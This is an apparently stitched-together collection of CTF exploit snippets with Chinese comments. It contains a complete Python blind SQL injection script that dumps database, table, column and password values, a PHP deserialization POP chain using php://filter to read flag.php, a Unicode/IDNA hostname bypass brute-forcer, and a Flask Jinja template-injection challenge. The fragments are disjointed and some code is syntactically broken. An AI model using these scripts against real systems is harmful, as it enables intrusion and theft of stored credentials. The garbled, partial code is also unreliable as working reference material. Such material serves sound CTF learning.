<?php #error_reporting(0); class HelloPhp { public $a; public $b; public function __construct(){ $this->a = "Y-m-d h:i:s"; $this->b = "date"; } public function __destruct(){ $a = $this->a; $b = $this->b; echo $b($a); } } $c = new HelloPhp;
def getDatabase(): #获取数据库名 global host ans='' for i in range(1,1000): low = 32 high = 128 mid = (low+high)//2 while low < high: url = host + "id=1^(ascii(substr((select(database())),%d,1))<%d)^1" % (i,mid) res = requests.get(url) if "others~~~" in res.text: high = mid else: low = mid+1 mid=(low+high)//2 if mid <= 32 or mid >= 127: break ans += chr(mid-1) print("database is -> "+ans)
def getTable(): #获取表名 global host ans='' for i in range(1,1000): low = 32 high = 128 mid = (low+high)//2 while low < high: url = host + "id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),%d,1))<%d)^1" % (i,mid) res = requests.get(url) if "others~~~" in res.text: high = mid else: low = mid+1 mid=(low+high)//2 if mid <= 32 or mid >= 127: break ans += chr(mid-1) print("table is -> "+ans)
def getColumn(): #获取列名 global host ans='' for i in range(1,1000): low = 32 high = 128 mid = (low+high)//2 while low < high: url = host + "id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),%d,1))<%d)^1" % (i,mid) res = requests.get(url) if "others~~~" in res.text: high = mid else: low = mid+1 mid=(low+high)//2 if mid <= 32 or mid >= 127: break ans += chr(mid-1) print("column is -> "+ans)
def dumpTable():#脱裤 global host ans='' for i in range(1,1000): low = 32 high = 128 mid = (low+high)//2 while low < high: url = host + "id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))<%d)^1" % (i,mid) res = requests.get(url) if "others~~~" in res.text: high = mid else: low = mid+1 mid=(low+high)//2 if mid <= 32 or mid >= 127: break ans += chr(mid-1) print("dumpTable is -> "+ans)
Welcome to index.php <?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } }
class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; }
public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } }
class Test{ public $p; public function __construct(){ $this->p = array(); }
public function __get($key){ $function = $this->p; return $function(); } }
class Modifier { protected $var=”php://filter/read=convert.base64-encode/resource=flag.php”;
}
class Show{ public $source; public $str; public function __construct($file=’index.php’){ $this->source = $file; } public function __toString(){ $this->str=new Test(); }
public function __wakeup(){
$this->source=new Show();
}
}
class Test{ public $p;
public function __get($key){
$this->p=new Modifier();
}
class Modifier { //类,Modifier protected $var; //保护属性,$var public function append($value){ //自定义方法,append($value) include($value); //文件包含参数$value,猜测这里可以利用文件包含读取flag.php的内容 } public function __invoke(){ //__invoke()魔术方法:在类的对象被调用为函数时候,自动被调用 $this->append($this->var); //把保护属性$var传入自定义方法append($value),执行一次 } } //很明显: //这里我们要想执行文件包含flag.php,那么就要调用append($value)方法 //这里我们要想调用append($value)方法,那么就需要调用__invoke()魔术方法 //这里我们要想调用__invoke(),那么就需要将Modifier类的对象调用为函数 //这里,我们会发现$var属性的值传给了$value参数,所以要想包含flag.php的源码,就需要给$var传入php://filter………………..[省略]
class Show{ //类,Show public $source; //公有属性,$source public $str; //公有属性,$str public function __construct($file=’index.php’){ //公有构造方法,在类的对象实例化之前,自动被调用 $this->source = $file; //给$this->source属性赋值$file echo ‘Welcome to ‘.$this->source.” “; //打印字符串 } public function __toString(){ //__toString()魔术方法,在类的对象被当作字符串操作的时候,自动被调用 return $this->str->source; //返回,str属性值的source属性 }
public function __wakeup(){ //__wakeup()魔术方法,在类的对象反序列化的时候,自动被调用
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { //正则匹配source属性的值
echo "hacker";
$this->source = "index.php"; //source属性赋值为index.php
}
}
from urllib.parse import urlparse,urlunsplit,urlsplit from urllib import parse def get_unicode(): for x in range(65536): uni=chr(x) url="http://suctf.c{}".format(uni) try: if getUrl(url): print("str: "+uni+' unicode: \\u'+str(hex(x))[2:]) except: pass
def getUrl(url): url = url host = parse.urlparse(url).hostname if host == 'suctf.cc': return False parts = list(urlsplit(url)) host = parts[1] if host == 'suctf.cc': return False newhost = [] for h in host.split('.'): newhost.append(h.encode('idna').decode('utf-8')) parts[1] = '.'.join(newhost) finalUrl = urlunsplit(parts).split(' ')[0] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc': return True else: return False
@app.route('/shrine/<path:shrine>') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine))
def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
if __name__ == '__main__': print(safe_jinja("{{7*7}}"))